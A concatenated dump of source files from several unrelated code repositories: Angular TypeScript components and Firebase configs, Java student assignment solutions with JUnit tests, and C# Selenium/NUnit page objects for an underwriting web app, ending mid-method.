] | 3
|
JavaScript
|
simvol/react-redux-firebase
|
ddd45a4c69e4d4d4cb793dcef5d322e52dd8e31f
|
bd100d06d56b6bdb3df3a572cfb97ba53909a7b2
|
refs/heads/master
|
<repo_name>blueseaguo/NetWorkTest<file_sep>/Downloads/NetWorkTest-master/NetWorkTest/Podfile
platform :ios
pod 'MBProgressHUD'
|
7ad0d0d376120444243ad3f729d303e2cb114c64
|
[
"Ruby"
] | 1
|
Ruby
|
blueseaguo/NetWorkTest
|
aef63167b18fa0f7145c84faa8452da5d8342bd2
|
ba41b456b94ef328fa219363722bf280a45f2277
|
refs/heads/master
|
<repo_name>Yochp/demo<file_sep>/ng/mosh1/src/app/email.service.ts
import { Injectable } from '@angular/core';
@Injectable()
export class EmailService {
getCourse() {
return ['cours1', 'cours2' , 'cours3'];
}
constructor() { }
}
<file_sep>/ng/angular-RobotWorkshop/src/app/robot-factory/robot-factory.component.ts
import { Component, OnInit } from '@angular/core';
import {RobotFactoy} from '../app.component';
import { RobotFacorys } from '../mock-RobotFactory';
@Component({
selector: 'app-robot-factory',
templateUrl: './robot-factory.component.html',
styleUrls: ['./robot-factory.component.css']
})
export class RobotFactoryComponent implements OnInit {
robotFactoy: RobotFactoy ={
id : 1,
branchName: 'some',
managerName: 'eli',
employees: 80,
city: 'brooklyn',
coordinates: {lon: 3434.544, lat: 544.544},
};
// copy of the array
factory = RobotFacorys;
selectedFactory: RobotFactoy;
onSelect(RobotFacOnSelect): void {
this.selectedFactory = RobotFacOnSelect;
}
constructor() { }
ngOnInit() {
}
}
<file_sep>/ng/WikiAngular/src/app/wiki-nav-bar/wiki-nav-bar.component.ts
import { Component, OnInit } from '@angular/core';
import { FormsModule } from '@angular/forms';
@Component({
selector: 'app-wiki-nav-bar',
templateUrl: './wiki-nav-bar.component.html',
styleUrls: ['./wiki-nav-bar.component.css']
})
export class WikiNavBarComponent implements OnInit {
items: any[] = [
{id: 1, title: 'title1', desc: 'dec1'},
{id: 1, title: 'title2', desc: 'dec2'},
{id: 1, title: 'title3', desc: 'dec3'}
];
constructor() { }
ngOnInit() {
}
}
<file_sep>/ng/oshop1/src/environments/environment.prod.ts
export const environment = {
production: true,
firebase: {
apiKey: '<KEY>',
authDomain: 'oshop1-421c0.firebaseapp.com',
databaseURL: 'https://oshop1-421c0.firebaseio.com',
projectId: 'oshop1-421c0',
storageBucket: 'oshop1-421c0.appspot.com',
messagingSenderId: '166056095169'
}
};
<file_sep>/ng/mosh1/src/app/inputcomp/inputcomp.component.ts
import { Component, OnInit } from '@angular/core';
import {EmailService} from '../email.service';
@Component({
selector: 'app-inputcomp',
templateUrl: './inputcomp.component.html',
styleUrls: ['./inputcomp.component.css']
})
export class InputcompComponent implements OnInit {
test: any;
test1;
constructor(servl: EmailService) {
this.test1 = servl.getCourse();
}
ngOnInit() {
}
}
<file_sep>/ng/angular-RobotWorkshop/src/app/factory-detail/factory-detail.component.ts
import { Component, OnInit, Input } from '@angular/core';
import {RobotFactoy} from '../app.component';
import { RobotFacorys } from '../mock-RobotFactory';
@Input() RobotFactoyDTLS: RobotFactoy;
@Component({
selector: 'app-factory-detail',
templateUrl: './factory-detail.component.html',
styleUrls: ['./factory-detail.component.css']
})
export class FactoryDetailComponent implements OnInit {
constructor() { }
ngOnInit() {
}
}
<file_sep>/ng/oshop/src/environments/environment.prod.ts
export const environment = {
production: true,
firebase: {
apiKey: '<KEY>',
authDomain: 'oshop-fd1a1.firebaseapp.com',
databaseURL: 'https://oshop-fd1a1.firebaseio.com',
projectId: 'oshop-fd1a1',
storageBucket: 'oshop-fd1a1.appspot.com',
messagingSenderId: '349101991554'
}
};
<file_sep>/ng/angular-RobotWorkshop/src/app/app.component.ts
import { Component } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
title = 'my robbot wotk shop';
}
export class RobotFactoy {
id: number;
branchName: string;
managerName: string;
employees: number;
city: string;
coordinates: {lon: number, lat: number};
}
<file_sep>/ng/oshop1/src/app/app.module.ts
import {BrowserModule} from '@angular/platform-browser';
import {NgModule} from '@angular/core';
import {environment} from '../environments/environment';
import {AppComponent} from './app.component';
import {AngularFireModule} from 'angularfire2';
import {AngularFireDatabase, AngularFireDatabaseModule} from 'angularfire2/database';
import {AngularFireAuth, AngularFireAuthModule} from 'angularfire2/auth';
import {BsNavbarComponent} from './bs-navbar/bs-navbar.component';
import {HomeComponent} from './home/home.component';
import {ProductsComponent} from './products/products.component';
import {ShoppingCartComponent} from './shopping-cart/shopping-cart.component';
import {CheckOutComponent} from './check-out/check-out.component';
import {OrderSucsessComponent} from './order-sucsess/order-sucsess.component';
import {MyOrderComponent} from './my-order/my-order.component';
import {AdminProductsComponent} from './admin/admin-products/admin-products.component';
import {AdminOrdersComponent} from './admin/admin-orders/admin-orders.component';
import {LoginComponent} from './login/login.component';
import {RouterModule} from '@angular/router';
import {NgbModule} from '@ng-bootstrap/ng-bootstrap';
import {AuthService} from './auth.service';
import {AuthGuardService} from './auth-guard.service';
import {CanActivate} from '@angular/router';
import {AdminAuthGuardService} from './admin-auth-guard.service';
@NgModule({
declarations: [
AppComponent,
BsNavbarComponent,
HomeComponent,
ProductsComponent,
ShoppingCartComponent,
CheckOutComponent,
OrderSucsessComponent,
MyOrderComponent,
AdminProductsComponent,
AdminOrdersComponent,
LoginComponent
],
imports: [
BrowserModule,
AngularFireModule.initializeApp(environment.firebase),
AngularFireAuthModule,
AngularFireDatabaseModule,
NgbModule.forRoot(),
RouterModule.forRoot([
{path: '', component: HomeComponent},
{path: 'products', component: ProductsComponent},
{path: 'shopping-cart', component: ShoppingCartComponent},
{path: 'login', component: LoginComponent},
{path: 'check-out', component: CheckOutComponent, canActivate: [AuthGuardService]},
{path: 'order-sucsess', component: OrderSucsessComponent, canActivate: [AuthGuardService]},
{path: 'my/order', component: MyOrderComponent, canActivate: [AuthGuardService]},
{path: 'admin/orders', component: AdminOrdersComponent, canActivate: [AuthGuardService, AdminAuthGuardService]},
{path: 'admin/products', component: AdminProductsComponent, canActivate: [AuthGuardService, AdminAuthGuardService]}
])
],
providers: [
AuthService,
AuthGuardService,
AdminAuthGuardService
],
bootstrap: [AppComponent]
})
export class AppModule {
}
<file_sep>/ng/angular-RobotWorkshop/src/app/mock-RobotFactory.ts
import {RobotFactoy} from './app.component';
export const RobotFacorys : RobotFactoy[] = [
{ id: 11, branchName: 'some1', coordinates: {lon: 3434.544, lat: 544.544}, managerName: 'eli',
employees: 80 },
{ id: 12, branchName: 'some23', coordinates: {lon: 3434.544, lat: 544.544}, managerName: 'eli',
employees: 80},
{ id: 13, branchName: 'some24', coordinates: {lon: 3434.544, lat: 544.544}, managerName: 'eli',
employees: 80},
{ id: 14, branchName: 'some25', coordinates: {lon: 3434.544, lat: 544.544}, managerName: 'eli',
employees: 80},
{ id: 15, branchName: 'some26', coordinates: {lon: 3434.544, lat: 544.544}, managerName: 'eli',
employees: 80},
];
<file_sep>/ng/angular-RobotWorkshop/src/app/app.module.ts
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { AppComponent } from './app.component';
import { RobotFactoryComponent } from './robot-factory/robot-factory.component';
import { FactoryDetailComponent } from './factory-detail/factory-detail.component';
@NgModule({
declarations: [
AppComponent,
RobotFactoryComponent,
FactoryDetailComponent
],
imports: [
BrowserModule,
FormsModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
|
f1fe0f413ef155cf6100d0f4e7ca9bf25b6b28ec
|
[
"TypeScript"
] | 11
|
TypeScript
|
Yochp/demo
|
aac94eb9ab26b9c36524c632eaeaa5a4f62ff5c3
|
f5b3bda5da0414f1497d683e92ecb0c7f162aaba
|
refs/heads/master
|
<repo_name>byoxtheimer/CordovaVS15<file_sep>/CordovaVS15/www/scripts/osx.js
// File created by osx to see if it will move over to the visual studio project.
|
68e79f7b546aa83a448679b79cbd376e8a9c652d
|
[
"JavaScript"
] | 1
|
JavaScript
|
byoxtheimer/CordovaVS15
|
fab2a307a36e9f7b1006af33bc74cc447e76a47a
|
8e3bd8d3541be67f2f53c811e4d95ce0abfe2260
|
refs/heads/master
|
<file_sep>//Twój kod
const fs = require('fs');
fs.readdir('./data/zadanie02/', (err, data) => {
if (err === null) {
console.log('list plików', data);
data.forEach((file) => {
fs.readFile(`./data/zadanie02/${file}`, 'utf8', (err, data) => {
if (err === null) {
console.log('zawartość pliku to', data);
} else {
console.log('nie udalo się odczytać pliku');
}
})
});
} else {
console.log('nie udało się zlistować katalogu');
}
});<file_sep>//Twój kod
const fs = require('fs');
function changeFiles(path) {
fs.readFile(path, 'utf8', (err, data) => {
if (err === null) {
const changed = [...data].map((letter, i) => {
if (i % 2 === 0) {
return letter.toUpperCase();
}
return letter;
}).join('');
console.log(changed);
fs.writeFile(path, changed, err => {
if (err === null) {
console.log('zapisano plik');
} else {
console.log('nie udało się zapisać pliku');
}
})
} else {
console.log('nie udało się odczytać pliku');
}
})
}
changeFiles(process.argv[2]);
|
1c928cea8068897428a44aac38707b8cc31a608f
|
[
"JavaScript"
] | 2
|
JavaScript
|
Anavaer/Node.js_challenge_dzien_2
|
7d856c8b7b9f4a09682534ded98e8b6b23284631
|
c9bd76105d27cfed1ffee13c564c0fd59d7da77a
|
refs/heads/master
|
<file_sep>package ex29;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import static java.lang.Character.isDigit;
import static java.lang.Character.isLetter;
public class Calculator {
public static int isValid(String r){
char arr[] = r.toCharArray();
for(int i = 0; i < arr.length; i++){
if(isLetter(arr[i])){
return 0;
}
}
if(Integer.parseInt(r) == 0){
return -1;
}
return 72/Integer.parseInt(r);
}
}
<file_sep>package ex29;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class CalculatorTest {
@Test
void isValid() {
assertEquals(-1, Calculator.isValid("0"));
assertEquals(0, Calculator.isValid("aa1"));
assertEquals(18, Calculator.isValid("4"));
}
}<file_sep>package ex27;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.Scanner;
public class App {
public static void main(String[] args){
Scanner scan = new Scanner(System.in);
System.out.print("Enter the first name: ");
String f_name = scan.nextLine();
System.out.print("Enter the last name: ");
String l_name = scan.nextLine();
System.out.print("Enter the ZIP code: ");
String zip = scan.nextLine();
System.out.print("Enter the employee ID: ");
String id = scan.nextLine();
String print_val = Validator.validateInput(f_name, l_name, id, zip);
System.out.printf("%s", print_val);
}
}
<file_sep>package ex32;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import static java.lang.Character.isDigit;
public class GuessChecker {
public static String checker(int actual, String u_guess){
char arr[] = u_guess.toCharArray();
for(int i = 0; i < arr.length; i++){
if(!isDigit(arr[i])){
return "You did not enter a number. Guess again.";
}
}
int guess = Integer.parseInt(u_guess);
if(actual>guess){
return "Too low. Guess again.";
}
else if(actual<guess){
return "Too high. Guess again.";
}
else{
return "X";
}
}
}
<file_sep>package ex35;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import org.junit.jupiter.api.Test;
import java.util.ArrayList;
import static org.junit.jupiter.api.Assertions.*;
class ArrayActionsTest {
@Test
void randomWinner() {
ArrayList list = new ArrayList();
list.add(0, "John");
list.add(1, "Amy");
assertEquals("John", ArrayActions.randomWinner(0, list));
}
}<file_sep>/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
package ex25;
public class PasswordValidator {
static int strength_indicator(String password){
int nums = 0, lets = 0, specs = 0;
password = password.toLowerCase();
char arr[] = password.toCharArray();
for(int i = 0; i < arr.length; i++){
if(arr[i]-97>=0&&arr[i]-97<=25){
lets++;
}
else if(arr[i]-48>=0&&arr[i]-58<=0){
nums++;
}
else{
specs++;
}
}
if(nums>0&&lets<1&&specs<1&&nums<8){
return 1;
}
else if(nums<1&&lets>0&&specs<1&&lets<8){
return 2;
}
else if(nums>0&&lets>0&&specs<1&&(nums+lets>=8)){
return 3;
}
else if(nums>0&&lets>0&&specs>0&&(nums+lets+specs>=8)){
return 4;
}
else if(nums>0&&lets<1&&specs<1&&nums>=8){
return 5;
}
else if(nums<1&&lets>0&&specs<1&&lets>=8){
return 6;
}
else if(nums>0&&lets>0&&specs<1&&(nums+lets<8)){
return 7;
}
else if(nums>0&&lets>0&&specs>0&&(nums+lets+specs<8)){
return 8;
}
return 0;
}
}
<file_sep>package ex28;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.Scanner;
public class App {
public static void main(String[] args){
Scanner scan = new Scanner(System.in);
int sum = 0;
for(int i = 0; i < 5; i++){
int num = scan.nextInt();
sum += num;
}
System.out.printf("%d", sum);
}
}
<file_sep>package ex38;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.ArrayList;
public class ValueFilter {
public static int lengthChar(char c_arr[]){
int r_int = 0;
for(int i = 0; i < c_arr.length; i++){
if(c_arr[i] == ' '){
continue;
}
else{
r_int++;
}
}
return r_int;
}
public static int[] convertToIntArr(char c_arr[], int length){
int i_arr[] = new int[length];
int j = 0;
for(int i = 0; i < length; i++){
if(c_arr[i] == ' '){
continue;
}
int c = Integer.parseInt(String.valueOf(c_arr[i]));
i_arr[j] = c;
j++;
}
return i_arr;
}
public static int lengthEven(int arr[]){
int r_int = 0;
for(int i = 0; i < arr.length; i++){
if(arr[i] == 0){
continue;
}
if(arr[i]%2==0){
r_int++;
}
}
return r_int;
}
public static int[] filterEvenNumbers(int arr[], int len){
int[] i_arr = new int[len];
int j = 0;
for(int i = 0; i < arr.length; i++){
if(arr[i]%2==0){
i_arr[j] = arr[i];
j++;
}
}
return i_arr;
}
}
<file_sep>package ex34;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.Scanner;
public class App {
public static void main(String[] args){
Scanner scan = new Scanner(System.in);
String arr[] = {"<NAME>","<NAME>","<NAME>","<NAME>","<NAME>"};
EmployeeActions.printEmployees(arr);
System.out.print("Enter an employee name to remove: ");
String removal = scan.nextLine();
String final_arr[] = EmployeeActions.updateEmployees(removal, arr);
EmployeeActions.printEmployees(final_arr);
}
}
<file_sep>package ex29;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.Scanner;
public class App {
public static void main(String[] args){
Scanner scan = new Scanner(System.in);
int calc_y = 0;
while(true) {
System.out.print("What is the rate of return? ");
String years = scan.nextLine();
calc_y = Calculator.isValid(years);
if(calc_y==-1){
System.out.print("Sorry, Zero is not a valid rate.\n");
}
else if(calc_y==0){
System.out.print("Sorry. That's not a valid rate.\n");
}
else{
System.out.printf("It will take %d years to double your initial investment.\n", calc_y);
break;
}
}
}
}
<file_sep>package ex26;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.Scanner;
public class App {
public static void main(String[] args){
Scanner scan = new Scanner(System.in);
double balance, payment, rate;
System.out.print("What is your balance? ");
balance = scan.nextDouble();
System.out.print("What is the APR on the card (as a percent)? ");
rate = scan.nextDouble()/100.0;
System.out.print("What is the monthly payment you can make? ");
payment = scan.nextDouble();
int months = PaymentCalculator.calculateMonthsUntilPaidOff(rate/365.0, balance, payment);
System.out.printf("It will take you %d months to pay off this card.", months);
}
}
<file_sep>package ex35;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.ArrayList;
public class App {
public static void main(String[] args){
ArrayList<String> list;
list = ArrayActions.generateArray();
int rand_ind = (int)(Math.random()*list.size());
System.out.printf("The winner is...%s.", ArrayActions.randomWinner(rand_ind, list));
}
}
<file_sep>package ex27;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class ValidatorTest {
@Test
void valid_first() {
assertEquals("Jason", Validator.valid_first("Jason"));
assertEquals("The first name must be filled in.", Validator.valid_first(""));
assertEquals("The first name must be at least 2 characters long.", Validator.valid_first("3"));
}
@Test
void valid_last() {
assertEquals("Vorhees", Validator.valid_last("Vorhees"));
assertEquals("The last name must be filled in.", Validator.valid_last(""));
assertEquals("The last name must be at least 2 characters long.", Validator.valid_last("3"));
}
@Test
void valid_ID() {
assertEquals("AA-1234", Validator.valid_ID("AA-1234"));
assertEquals("The employee ID must be in the format of AA-1234.", Validator.valid_ID("1B:A234"));
}
@Test
void valid_zip() {
assertEquals("32816", Validator.valid_zip("32816"));
assertEquals("The zipcode must be a 5 digit number.", Validator.valid_zip("qq555"));
}
@Test
void validateInput(){
assertEquals("The first name must be filled in.\n" +
"The last name must be at least 2 characters long.\n" +
"The employee ID must be in the format of AA-1234.\n" +
"The zipcode must be a 5 digit number.", Validator.validateInput("", "3", "AA216", "1B:5Q5"));
assertEquals("Jason\n" +
"Vorhees\n" +
"AA-1234\n" +
"32816", Validator.validateInput("Jason", "Vorhees", "AA-1234", "32816"));
}
}<file_sep>/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
package ex24;
import java.util.Arrays;
import java.util.Locale;
import java.util.Scanner;
public class App
{
public static void main( String[] args )
{
Scanner scan = new Scanner(System.in);
String user_s1, user_s2;
System.out.printf("Enter two strings and I'll tell you if they are anagrams:\n");
System.out.printf("Enter the first string: ");
user_s1 = scan.nextLine();
System.out.printf("Enter the second string: ");
user_s2 = scan.nextLine();
if(isAnagram(user_s1,user_s2)){
System.out.printf("\"%s\" and \"%s\" are anagrams.", user_s1, user_s2);
}
else{
System.out.printf("\"%s\" and \"%s\" are not anagrams.", user_s1, user_s2);
}
}
static boolean isAnagram(String s1, String s2){
if(s1.length()!=s2.length()){
return false;
}
s1 = s1.toLowerCase();
s2 = s2.toLowerCase();
char arr1[] = s1.toCharArray();
char arr2[] = s2.toCharArray();
Arrays.sort(arr1);
Arrays.sort(arr2);
for(int i = 0; i < arr1.length; i++){
if(arr1[i]!=arr2[i]){
return false;
}
}
return true;
}
}
<file_sep>package ex31;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import java.util.Scanner;
public class App {
public static void main(String[] args){
Scanner scan = new Scanner(System.in);
String age, pulse;
System.out.print("Please enter an age: ");
age = scan.nextLine();
System.out.print("Please enter a resting pulse: ");
pulse = scan.nextLine();
if(!Karvonen.isValid(age)||!Karvonen.isValid(pulse)){
System.out.print("Sorry, you did not input a proper value.\n");
return;
}
int i_age = Integer.parseInt(age);
int i_pulse = Integer.parseInt(pulse);
System.out.printf("Resting pulse:%d%10cAge:%d\n", i_pulse, ' ', i_age);
System.out.printf("%s%5c%s\n", "Intensity", '|', "Rate");
System.out.print("-------------|--------\n");
for(double per = 0.55; per < 1; per += 0.05){
int h_rate = Karvonen.heartRate(i_age, i_pulse, per);
System.out.printf("%.0f%%%11c%d bpm\n", per*100, '|', h_rate);
}
}
}
<file_sep>package ex31;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import static java.lang.Character.isDigit;
public class Karvonen {
public static boolean isValid(String input){
char arr[] = input.toCharArray();
for(int i = 0; i < arr.length; i++){
if(!isDigit(arr[i])){
return false;
}
}
return true;
}
public static int heartRate(int age, int pulse, double intensity){
double TargetHeartRate = (((220 - age) - pulse) * intensity) + pulse;
int ret_rate = (int)TargetHeartRate;
return ret_rate;
}
}
<file_sep>package ex26;/*
* UCF COP3330 Fall 2021 Assignment 2 Solution
* Copyright 2021 <NAME>
*/
import static java.lang.Math.log;
public class PaymentCalculator {
public static int calculateMonthsUntilPaidOff(double i, double b, double p){
double pre;
int n;
pre = Math.ceil((-(1.0/30.0) * log(1 + b/p * (1 - Math.pow((1 + i),30))) / log(1 + i)));
n = (int)pre;
return n;
}
}
|
939d8969231e3dcf9ba97718b2da5ac88a16afe2
|
[
"Java"
] | 17
|
Java
|
danchovie/thew-cop3330-assignment2
|
58f57e6b3910d477fe5c192ae85f3e8fbee8dbe6
|
3d886b84231de80cb5720d6a76c37ec16c06bc31
|
refs/heads/master
|
<repo_name>ailinSwitch/OdysseyProject<file_sep>/Odyssey_UW_NetCore/Tests/EditProgramTest.cs
using NUnit.Framework;
using Odyssey_UW.Pages;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Odyssey_UW.Tests
{
[TestFixture]
class EditProgramTest : BaseTest
{
SearchPage searchPage;
[Test]
public void checkAllPrograms()
{
searchPage = new SearchPage(driver);
searchPage.checkAllPrograms();
}
}
}
<file_sep>/Odyssey_UW_NetCore/Tests/BaseTest.cs
using NUnit.Framework;
using NUnit.Framework.Internal;
using Odyssey_UW.Pages;
using OpenQA.Selenium;
using OpenQA.Selenium.Chrome;
using WebDriverManager.DriverConfigs.Impl;
namespace Odyssey_UW.Tests
{
[TestFixture]
public class BaseTest
{
protected IWebDriver driver;
private LoginPage loginPage;
public IWebDriver getDriver()
{
return driver;
}
[OneTimeSetUp]
public void LoginApplication()
{
new WebDriverManager.DriverManager().SetUpDriver(new ChromeConfig());
ChromeOptions options = new ChromeOptions();
options.AddArguments("start-maximized");
driver = new ChromeDriver(options);
driver.Navigate().GoToUrl("http://localhost:4200");
loginPage = new LoginPage(driver);
loginPage.RegisterUser("AilinGarcia", "Agonzalez123");
loginPage.EnterUWPage();
}
//[OneTimeTearDown]
//public void RecordFailure()
//{
// if (TestContext.CurrentContext.Result.Outcome != ResultState.Success)
// {
// Screenshot screenShot = ((ITakesScreenshot)driver).GetScreenshot();
// string timeStamp = DateTime.Today.ToString("yyyy/MM/dd");
// screenShot.SaveAsFile(@"D:\VS\Odyssey_UW\Odyssey_UW\Screenshots\" + TestContext.CurrentContext.Test.Name + TestContext.CurrentContext.Result.Outcome.Status+ " " +timeStamp+ ".png", ScreenshotImageFormat.Png);
// //driver.Quit();
// }
//}
}
}
<file_sep>/Odyssey_UW_NetCore/Pages/NewProgramPage.cs
using NUnit.Framework;
using OpenQA.Selenium;
using OpenQA.Selenium.Support.UI;
using System;
using System.Collections.Generic;
using System.Globalization;
namespace Odyssey_UW.Pages
{
class NewProgramPage : BasePage
{
private By newProgramHeader = By.XPath("//h2[contains(text(), 'New Program')]");
private By programName = By.XPath("//input[@formcontrolname='name']");
private string[] xPathSelectDrop = { "//select[@formcontrolname='assumingCompanyId']", "//select[@formcontrolname='branchId']", "//select[@formcontrolname='businessUnitId']" };
private string[] xPathTypeAheadDrop = { "//ng-select[@formcontrolname='treatyTypeId']//input", "//ng-select[@formcontrolname='underwriterId']//input" };
private By container = By.XPath("//div[contains(@class, 'ng-option')]");
private By effDateBtn = By.XPath("(//button[contains(@title, 'Toggle datepicker')])[1]");
By effectiveDateInput = By.XPath("(//input[contains(@class, 'input-date')])[1]");
By expirationDateInput = By.XPath("(//input[contains(@class, 'input-date')])[2]");
By cedantInput = By.XPath("//uwrt-searchable-input[1]//input[@type='text']");
By brokerInput = By.XPath("//uwrt-searchable-input[2]//input[@type='text']");
By searchSpinner = By.XPath("//i[@class='fa fa-refresh fa-spin ng-star-inserted']");
By createBtn = By.XPath("//div/button[3]");
By toastMessage = By.XPath("//div[contains(@class,'toast-message')]");
By xolTypeBtn = By.XPath("//label[.='Excess']");
// By quickSearchModal = By.XPath("//input[@placeholder='Quick Search']");
By cedantSearchClearBtn = By.XPath("//uwrt-searchable-input[1]//clr-icon[@role='none']");
By brokerSearchClearBtn = By.XPath("//uwrt-searchable-input[2]//clr-icon[@role='none']");
By totalPages = By.XPath("//div[contains(@class, 'pagination-list')]/span");
By leadUWInput = By.XPath("//ng-select[@formcontrolname='underwriterId']//input");
By treatyTypeInput = By.XPath("//ng-select[@formcontrolname='treatyTypeId']//input");
By prorataTypeBtn = By.XPath("//label[.='Pro rata']");
private string nameEntered, leadUWEntered, monthString;
int day, year, month;
private IWebElement cedantField, brokerField, bUnitSelect, branchSelect;
private SelectElement select;
private SearchPage searchPage;
public NewProgramPage(IWebDriver driver) : base(driver)
{
}
public bool IsDisplayedNewProgramPage()
{
ExpectVisibility(newProgramHeader);
IWebElement headerNewProgram = driver.FindElement(newProgramHeader);
if (headerNewProgram.Displayed)
{
Assert.AreEqual("New Program", headerNewProgram.Text, "The actual header doesn't match with the expected");
return true;
}
return false;
}
public void SetProgramName(string name)
{
nameEntered = name;
ExpectVisibility(programName);
driver.FindElement(programName).SendKeys(name);
}
public string GetProgramName() => nameEntered;
public void SetCedantAndBroker(string cedant, string broker)
{
By[] searchLocators = { brokerInput, cedantInput };
string[] values = { cedant, broker };
SearchValues(searchLocators, values, searchSpinner);
}
public bool IsBrokerEnabled()
{
return IsEnabled(brokerInput);
}
public bool IsCedantEnabled() => IsEnabled(cedantInput);
public string GetCedantSelected()
{
cedantField = driver.FindElement(cedantInput);
return cedantField.GetAttribute("value");
}
public string GetBrokerSelected()
{
brokerField = driver.FindElement(brokerInput);
return brokerField.GetAttribute("value");
}
public void SetContractType(string type)
{
if (type.Equals("XOL"))
{
driver.FindElement(xolTypeBtn).Click();
}
}
public void SetSelectDpd(string[] values)
{
IWebElement[] webElem = new IWebElement[xPathSelectDrop.Length];
for (int i = 0; i < xPathSelectDrop.Length; i++)
{
webElem[i] = FluentWait(xPathSelectDrop[i]);
SelectElement select = new SelectElement(webElem[i]);
select.SelectByText(values[i]);
}
}
public void SetTypeAheadDpd(string[] values)
{
IWebElement[] inputFields = new IWebElement[xPathTypeAheadDrop.Length];
for (int i = 0; i < xPathTypeAheadDrop.Length; i++)
{
inputFields[i] = driver.FindElement(By.XPath(xPathTypeAheadDrop[i]));
inputFields[i].SendKeys(values[i]);
var allValues = driver.FindElements(container);
foreach (IWebElement val in allValues)
{
if (val.Text.Contains(values[i]))
{
val.Click();
break;
}
}
}
}
private void ValidateToastMessage(string expectedMessage)
{
ExpectVisibility(toastMessage);
string actualMessage = driver.FindElement(toastMessage).Text;
Assert.AreEqual(expectedMessage, actualMessage);
}
public void ClickCreateBtn()
{
string programCreated = "Program was successfully created";
string programNotCreated = "Program cannot be created until all required fields are entered";
driver.FindElement(createBtn).Click();
searchPage = new SearchPage(driver);
if (searchPage.IsDisplayedSearchPage())
{
ValidateToastMessage(programCreated);
driver.Navigate().Refresh();
}
else
{
ValidateToastMessage(programNotCreated);
Assert.Fail("Some required field is missing. The Program can't be created");
}
}
private int MonthToInt(string month)
{
return DateTime.ParseExact(month, "MMMM", null).Month;
}
private int CompareDateWithActual(int year, int month, int day)
{
DateTime actualDate = DateTime.Now;
DateTime dateToCompare = new DateTime(year, month, day);
return actualDate.CompareTo(dateToCompare);
}
private void SetDay()
{
IList<IWebElement> allDays = driver.FindElements(By.XPath("//clr-calendar/table/tr[contains(@class, 'ng-star-inserted')]/td"));
foreach (IWebElement d in allDays)
{
string actualDay = d.Text;
if (actualDay.Equals(day.ToString()))
{
d.Click();
break;
}
}
}
private void SetMonth()
{
IWebElement monthSelector = driver.FindElement(By.XPath("//div[@class='calendar-pickers']/button[@class='calendar-btn monthpicker-trigger']"));
string actualMonth = monthSelector.Text;
if (!actualMonth.Contains(monthString))
{
driver.FindElement(By.XPath("//div[@class='calendar-pickers']/button[@class='calendar-btn monthpicker-trigger']")).Click();
IList<IWebElement> allMonths = driver.FindElements(By.XPath("//clr-datepicker-view-manager/clr-monthpicker/button"));
foreach (IWebElement m in allMonths)
{
string thisMonth = m.Text;
if (thisMonth.Equals(monthString))
{
m.Click();
break;
}
}
}
}
private void SetYear()
{
IWebElement previousDecadeBtn, nextDecadeBtn;
int difference, numberClicks, index, yearIndex, currentYear;
DateTime currentDate = DateTime.Today;
currentYear = currentDate.Year;
driver.FindElement(By.XPath("//div[@class='calendar-pickers']/button[@class='calendar-btn yearpicker-trigger']")).Click();
previousDecadeBtn = driver.FindElement(By.XPath("//button[@class='calendar-btn switcher'][1]"));
nextDecadeBtn = driver.FindElement(By.XPath("//button[@class='calendar-btn switcher'][3]"));
difference = year - currentYear;
numberClicks = difference / 10;
index = 11;
yearIndex = 1;
if (year > currentYear)
{
yearIndex = yearIndex + difference % 10;
for (int i = 0; i < numberClicks; i++)
{
nextDecadeBtn.Click();
i++;
}
driver.FindElement(By.XPath("//div[@class='years']/button[" + yearIndex + "]")).Click();
}
else
{
difference *= -1;
yearIndex = index - (difference % 10);
previousDecadeBtn.Click();
for (int i = 0; i < numberClicks; i++)
{
previousDecadeBtn.Click();
i++;
}
driver.FindElement(By.XPath("//div[@class='years']/button[" + yearIndex + "]")).Click();
}
}
public void SetEffDate(string month, int day, int year)
{
this.day = day;
this.year = year;
this.month = MonthToInt(month);
monthString = month;
int datesResult = CompareDateWithActual(year, MonthToInt(month), day);
ExpectVisibility(effDateBtn);
driver.FindElement(effDateBtn).Click();
ExpectVisibility(By.CssSelector("clr-datepicker-view-manager"));
if (datesResult == 0)
{
driver.FindElement(By.XPath("//button[contains(@class, 'is-today')]")).Click();
}
else
{
DateTime currentDate = DateTime.Today;
int currentYear = currentDate.Year;
SetMonth();
if (currentYear == year)
{
SetDay();
}
else
{
SetYear();
SetDay();
}
}
}
public string GetEffDateDisplayed() => driver.FindElement(effectiveDateInput).GetAttribute("value");
public string GetExpDateDisplayed() => driver.FindElement(expirationDateInput).GetAttribute("value");
private int MonthMaxLenght(int month) => DateTime.DaysInMonth(year, month);
public void VerifyExpDateDisplayed()
{
DateTime expDateExpected;
if (day == 1)
{
